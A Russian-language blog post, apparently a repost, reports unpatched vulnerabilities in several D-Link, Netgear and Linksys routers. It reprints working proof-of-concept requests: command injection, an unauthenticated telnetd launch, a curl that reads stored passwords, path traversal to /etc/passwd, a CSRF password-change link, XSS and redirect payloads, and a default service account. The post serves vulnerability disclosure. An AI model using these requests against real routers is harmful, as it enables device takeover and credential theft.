Очередные уязвимости нулевого дня в различных роутерах

от автора

Похоже, начало года не задалось для производителей роутеров. Буквально сегодня я сообщал о критических уязвимостях в роутерах различных производителей, связанных с небезопасной обработкой протокола UPnP. И вот ещё одна новость на эту же тему. На сей раз уязвимости совершенно разные. Затронуто оборудование:

  • D-Link DIR-615, DIR-600 и DIR-300 (rev B)
  • Netgear DGN1000B
  • Cisco Linksys E1500/E2500
  • Netgear SPH200D

Уязвимости довольно различны, но их объединяет несколько фактов: один автор и нежелание вендора выпускать патч (если верить автору).

D'Link DIR-615

Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013. Правда, я не смог найти эти версии на официальном сайте вендора.

Выполнение произвольных команд ОС роутера

Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_ipaddr

Пример:

http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=  http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr= 

ответ на команду приходит в теле HTTP-ответа:

HTTP/1.0 200 OK Pragma: no-cache Content-Type: text/html  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <script type="text/javascript" src="common.js.htm"></script> <script language="javascript"> CommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS}); var pingResult="Domain"; var pingip="ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown"; <<== var vctinfo= [ {ethport:'0', status:'0', rate:'0', dup:'0'}, {ethport:'1', status:'0', rate:'0', dup:'0'}, {ethport:'2', status:'0', rate:'0', dup:'0'}, 

Может, кто спросит: «В чём же уязвимость, если авторизованному пользователю только это возможно»? Объясню: злоумышленник может воспользоваться социальной инженерией и кинуть владельцу роутера специально сформированную ссылку.

Раскрытие информации

GET-запрос на адрес вида

http://IP_роутера/gconfig.htm 

вернёт нам:

var ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0}  

Изменение пароля без ввода старого

Достаточно послать GET-запрос с таким содержимым:

http://IP_роутера/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615 

Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

DIR-600 / DIR 300 — HW rev B1

DIR-300 — уязвимы версии:

  • 2.12 от 18.01.2012
  • 2.13 от 07.11.2012

DIR-600 — уязвимы версии:

  • 2.12b02 от 17/01/2012
  • 2.13b01 от 07/11/2012
  • 2.14b01 от 22/01/2013
Выполнение произвольных команд ОС роутера

Не авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре cmd

Пример — запуск сервера telnetd

Request: POST /command.php HTTP/1.1 Host: 192.168.178.222 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://192.168.178.222/ Content-Length: 15 Cookie: uid=hfaiGzkB4z Pragma: no-cache Cache-Control: no-cache  cmd=telnetd; 

Небезопасное хранение чувствительной информации

Пароли на устройстве хранятся в открытом виде, без хеширования:

# cat var/passwd "admin" "test" "0" 

Просмотреть текущий пароль пользователя возможно вот так:

root@bt:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php "admin" "THESECRETPASS" "0" 
Раскрытие информации

Запрос вида:

http://Target-IP/DevInfo.txt 

вернёт нам:

HTTP/1.1 200 OK Server: Linux, HTTP/1.1, DIR-600 Ver 2.14 Date: Fri, 31 Dec 1999 18:04:13 GMT Content-Length: 267  Firmware External Version: V2.14 Firmware Internal Version: d1mg Model Name: DIR-600 Hardware Version: Bx WLAN Domain: 826 Kernel: 2.6.33.2 Language: en Graphcal Authentication: Disable LAN MAC: <snip> WAN MAC: <snip> WLAN MAC: <snip>  

Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

Netgear SPH200D

Уязвимые версии прошивок:

Firmware Version: 1.0.4.80
Kernel Version: 4.1-18
Web Server Version: 1.5

Чтение файлов на устройстве

Авторизованный пользователь может читать файлы на устройстве

http://IP_роутера/../../etc/passwd 

вернёт ответ вида:

HTTP/1.0 200 OK Content-type: text/plain Expires: Sat, 24 May 1980.7:00:00.GMT Pragma: no-cache Server: simple httpd 1.0  root:x:0:0:root:/root:/bin/bash demo:x:5000:100:Demo User:/home/demo:/bin/bash nobody:x:65534:65534:Nobody:/htdocs:/bin/bash 

аналогично происходит чтение каталогов:

/../../var/  HTTP/1.0 200 OK Content-type: text/html Expires: Sat, 24 May 1980.7:00:00.GMT Pragma: no-cache Server: simple httpd 1.0  <H1>Index of ../../var/</H1>  <p><a href="/../../var/.">.</a></p> <p><a href="/../../var/..">..</a></p> <p><a href="/../../var/.Skype">.Skype</a></p> <p><a href="/../../var/jffs2">jffs2</a></p> <p><a href="/../../var/htdocs">htdocs</a></p> <p><a href="/../../var/cnxt">cnxt</a></p> <p><a href="/../../var/ppp">ppp</a></p> <p><a href="/../../var/conf">conf</a></p> <p><a href="/../../var/bin">bin</a></p> <p><a href="/../../var/usr">usr</a></p> <p><a href="/../../var/tmp">tmp</a></p> 

Но т.к. необходимо быть авторизованным на устройстве и необходимо получить ответ на запрос — не совсем ясно каким образом злоумышленник может этим воспользоваться

Межсайтовый скриптинг

image

Наличие «заводского» аккаунта

По-умолчанию, на устройстве существует аккаунт с логином: паролем service:service. Я так понимаю нет возможности его поменять предоставляемыми штатными средствами.

Производитель был уведомлён о проблемах безопасности в августе 2012, но не отреагировал.

Linksys E1500/E2500

Уязвимые версии прошивок:
e1500:

  • v1.0.00 — build 9 -февраль 17, 2011
  • v1.0.04 — build 2 — март 8, 2012
  • v1.0.05 — build 1 — август 23, 2012

e2500

  • v1.0.03
Выполнение произвольных команд ОС роутера

Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_size

Пример:

http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip= 
Раскрытие директорий

Пример:

POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 75  submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version 

Придёт ответ вида:

HTTP/1.1 200 Ok Server: httpd Date: Thu, 01 Jan 1970 00:00:29 GMT Cache-Control: no-cache Pragma: no-cache Expires: 0 Content-Type: text/html Connection: close  Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012 
Изменение пароля без ввода старого

Авторизованный пользователь может поменять пароль, отправив специально сформированный POST-запрос на устройство:

POST /apply.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.1.1/Management.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 311  submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0  
CSRF-атака для смены пароля:
http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 
Межсайтовый скриптинг
POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 300  submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0  

Редирект на другой сайт

POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 290  submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0 

Ссылки на первоисточник:

  1. Multiple Vulnerabilities in D’Link DIR-600 and DIR-300 (rev B)
  2. Multiple Vulnerabilities in D’Link DIR-615
  3. Multiple Vulnerabilities in Netgear SPH200D [Update: 03.02.2013]
  4. Multiple Vulnerabilities in Linksys E1500/E2500

ссылка на оригинал статьи http://habrahabr.ru/post/168683/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *